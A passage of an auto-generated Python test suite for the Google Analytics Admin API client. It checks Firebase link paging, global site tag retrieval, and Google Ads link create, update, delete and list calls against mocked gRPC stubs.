assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.FirebaseLink) for i in results)
def test_list_firebase_links_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[
resources.FirebaseLink(),
resources.FirebaseLink(),
resources.FirebaseLink(),
],
next_page_token="abc",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[], next_page_token="def",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[resources.FirebaseLink(),], next_page_token="ghi",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[resources.FirebaseLink(), resources.FirebaseLink(),],
),
RuntimeError,
)
pages = list(client.list_firebase_links(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_firebase_links_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[
resources.FirebaseLink(),
resources.FirebaseLink(),
resources.FirebaseLink(),
],
next_page_token="abc",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[], next_page_token="def",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[resources.FirebaseLink(),], next_page_token="ghi",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[resources.FirebaseLink(), resources.FirebaseLink(),],
),
RuntimeError,
)
async_pager = await client.list_firebase_links(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.FirebaseLink) for i in responses)
@pytest.mark.asyncio
async def test_list_firebase_links_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[
resources.FirebaseLink(),
resources.FirebaseLink(),
resources.FirebaseLink(),
],
next_page_token="abc",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[], next_page_token="def",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[resources.FirebaseLink(),], next_page_token="ghi",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[resources.FirebaseLink(), resources.FirebaseLink(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_firebase_links(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_get_global_site_tag(
transport: str = "grpc", request_type=analytics_admin.GetGlobalSiteTagRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_global_site_tag), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GlobalSiteTag(
name="name_value", snippet="snippet_value",
)
response = client.get_global_site_tag(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetGlobalSiteTagRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.GlobalSiteTag)
assert response.name == "name_value"
assert response.snippet == "snippet_value"
def test_get_global_site_tag_from_dict():
test_get_global_site_tag(request_type=dict)
def test_get_global_site_tag_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_global_site_tag), "__call__"
) as call:
client.get_global_site_tag()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetGlobalSiteTagRequest()
@pytest.mark.asyncio
async def test_get_global_site_tag_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetGlobalSiteTagRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_global_site_tag), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GlobalSiteTag(name="name_value", snippet="snippet_value",)
)
response = await client.get_global_site_tag(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetGlobalSiteTagRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.GlobalSiteTag)
assert response.name == "name_value"
assert response.snippet == "snippet_value"
@pytest.mark.asyncio
async def test_get_global_site_tag_async_from_dict():
await test_get_global_site_tag_async(request_type=dict)
def test_get_global_site_tag_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetGlobalSiteTagRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_global_site_tag), "__call__"
) as call:
call.return_value = resources.GlobalSiteTag()
client.get_global_site_tag(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_global_site_tag_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetGlobalSiteTagRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_global_site_tag), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GlobalSiteTag()
)
await client.get_global_site_tag(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_global_site_tag_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_global_site_tag), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GlobalSiteTag()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_global_site_tag(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_global_site_tag_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_global_site_tag(
analytics_admin.GetGlobalSiteTagRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_global_site_tag_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_global_site_tag), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GlobalSiteTag()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GlobalSiteTag()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_global_site_tag(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_global_site_tag_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_global_site_tag(
analytics_admin.GetGlobalSiteTagRequest(), name="name_value",
)
def test_create_google_ads_link(
transport: str = "grpc", request_type=analytics_admin.CreateGoogleAdsLinkRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleAdsLink(
name="name_value",
customer_id="customer_id_value",
can_manage_clients=True,
creator_email_address="creator_email_address_value",
)
response = client.create_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateGoogleAdsLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.GoogleAdsLink)
assert response.name == "name_value"
assert response.customer_id == "customer_id_value"
assert response.can_manage_clients is True
assert response.creator_email_address == "creator_email_address_value"
def test_create_google_ads_link_from_dict():
test_create_google_ads_link(request_type=dict)
def test_create_google_ads_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_google_ads_link), "__call__"
) as call:
client.create_google_ads_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateGoogleAdsLinkRequest()
@pytest.mark.asyncio
async def test_create_google_ads_link_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.CreateGoogleAdsLinkRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleAdsLink(
name="name_value",
customer_id="customer_id_value",
can_manage_clients=True,
creator_email_address="creator_email_address_value",
)
)
response = await client.create_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateGoogleAdsLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.GoogleAdsLink)
assert response.name == "name_value"
assert response.customer_id == "customer_id_value"
assert response.can_manage_clients is True
assert response.creator_email_address == "creator_email_address_value"
@pytest.mark.asyncio
async def test_create_google_ads_link_async_from_dict():
await test_create_google_ads_link_async(request_type=dict)
def test_create_google_ads_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateGoogleAdsLinkRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_google_ads_link), "__call__"
) as call:
call.return_value = resources.GoogleAdsLink()
client.create_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_google_ads_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateGoogleAdsLinkRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_google_ads_link), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleAdsLink()
)
await client.create_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_google_ads_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleAdsLink()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_google_ads_link(
parent="parent_value",
google_ads_link=resources.GoogleAdsLink(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].google_ads_link == resources.GoogleAdsLink(name="name_value")
def test_create_google_ads_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_google_ads_link(
analytics_admin.CreateGoogleAdsLinkRequest(),
parent="parent_value",
google_ads_link=resources.GoogleAdsLink(name="name_value"),
)
@pytest.mark.asyncio
async def test_create_google_ads_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleAdsLink()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleAdsLink()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_google_ads_link(
parent="parent_value",
google_ads_link=resources.GoogleAdsLink(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].google_ads_link == resources.GoogleAdsLink(name="name_value")
@pytest.mark.asyncio
async def test_create_google_ads_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_google_ads_link(
analytics_admin.CreateGoogleAdsLinkRequest(),
parent="parent_value",
google_ads_link=resources.GoogleAdsLink(name="name_value"),
)
def test_update_google_ads_link(
transport: str = "grpc", request_type=analytics_admin.UpdateGoogleAdsLinkRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleAdsLink(
name="name_value",
customer_id="customer_id_value",
can_manage_clients=True,
creator_email_address="creator_email_address_value",
)
response = client.update_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateGoogleAdsLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.GoogleAdsLink)
assert response.name == "name_value"
assert response.customer_id == "customer_id_value"
assert response.can_manage_clients is True
assert response.creator_email_address == "creator_email_address_value"
def test_update_google_ads_link_from_dict():
test_update_google_ads_link(request_type=dict)
def test_update_google_ads_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_ads_link), "__call__"
) as call:
client.update_google_ads_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateGoogleAdsLinkRequest()
@pytest.mark.asyncio
async def test_update_google_ads_link_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateGoogleAdsLinkRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleAdsLink(
name="name_value",
customer_id="customer_id_value",
can_manage_clients=True,
creator_email_address="creator_email_address_value",
)
)
response = await client.update_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateGoogleAdsLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.GoogleAdsLink)
assert response.name == "name_value"
assert response.customer_id == "customer_id_value"
assert response.can_manage_clients is True
assert response.creator_email_address == "creator_email_address_value"
@pytest.mark.asyncio
async def test_update_google_ads_link_async_from_dict():
await test_update_google_ads_link_async(request_type=dict)
def test_update_google_ads_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateGoogleAdsLinkRequest()
request.google_ads_link.name = "google_ads_link.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_ads_link), "__call__"
) as call:
call.return_value = resources.GoogleAdsLink()
client.update_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"google_ads_link.name=google_ads_link.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_google_ads_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateGoogleAdsLinkRequest()
request.google_ads_link.name = "google_ads_link.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_ads_link), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleAdsLink()
)
await client.update_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"google_ads_link.name=google_ads_link.name/value",
) in kw["metadata"]
def test_update_google_ads_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleAdsLink()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_google_ads_link(
google_ads_link=resources.GoogleAdsLink(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].google_ads_link == resources.GoogleAdsLink(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_google_ads_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_google_ads_link(
analytics_admin.UpdateGoogleAdsLinkRequest(),
google_ads_link=resources.GoogleAdsLink(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_google_ads_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleAdsLink()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleAdsLink()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_google_ads_link(
google_ads_link=resources.GoogleAdsLink(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].google_ads_link == resources.GoogleAdsLink(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_google_ads_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_google_ads_link(
analytics_admin.UpdateGoogleAdsLinkRequest(),
google_ads_link=resources.GoogleAdsLink(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_delete_google_ads_link(
transport: str = "grpc", request_type=analytics_admin.DeleteGoogleAdsLinkRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteGoogleAdsLinkRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_google_ads_link_from_dict():
test_delete_google_ads_link(request_type=dict)
def test_delete_google_ads_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_google_ads_link), "__call__"
) as call:
client.delete_google_ads_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteGoogleAdsLinkRequest()
@pytest.mark.asyncio
async def test_delete_google_ads_link_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.DeleteGoogleAdsLinkRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteGoogleAdsLinkRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_google_ads_link_async_from_dict():
await test_delete_google_ads_link_async(request_type=dict)
def test_delete_google_ads_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteGoogleAdsLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_google_ads_link), "__call__"
) as call:
call.return_value = None
client.delete_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_google_ads_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteGoogleAdsLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_google_ads_link), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_google_ads_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_google_ads_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_google_ads_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_google_ads_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_google_ads_link(
analytics_admin.DeleteGoogleAdsLinkRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_google_ads_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_google_ads_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_google_ads_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_google_ads_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_google_ads_link(
analytics_admin.DeleteGoogleAdsLinkRequest(), name="name_value",
)
def test_list_google_ads_links(
transport: str = "grpc", request_type=analytics_admin.ListGoogleAdsLinksRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListGoogleAdsLinksResponse(
next_page_token="next_page_token_value",
)
response = client.list_google_ads_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListGoogleAdsLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListGoogleAdsLinksPager)
assert response.next_page_token == "next_page_token_value"
def test_list_google_ads_links_from_dict():
test_list_google_ads_links(request_type=dict)
def test_list_google_ads_links_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links), "__call__"
) as call:
client.list_google_ads_links()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListGoogleAdsLinksRequest()
@pytest.mark.asyncio
async def test_list_google_ads_links_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListGoogleAdsLinksRequest,
):
client = AnalyticsAdminServiceAsyncClient(
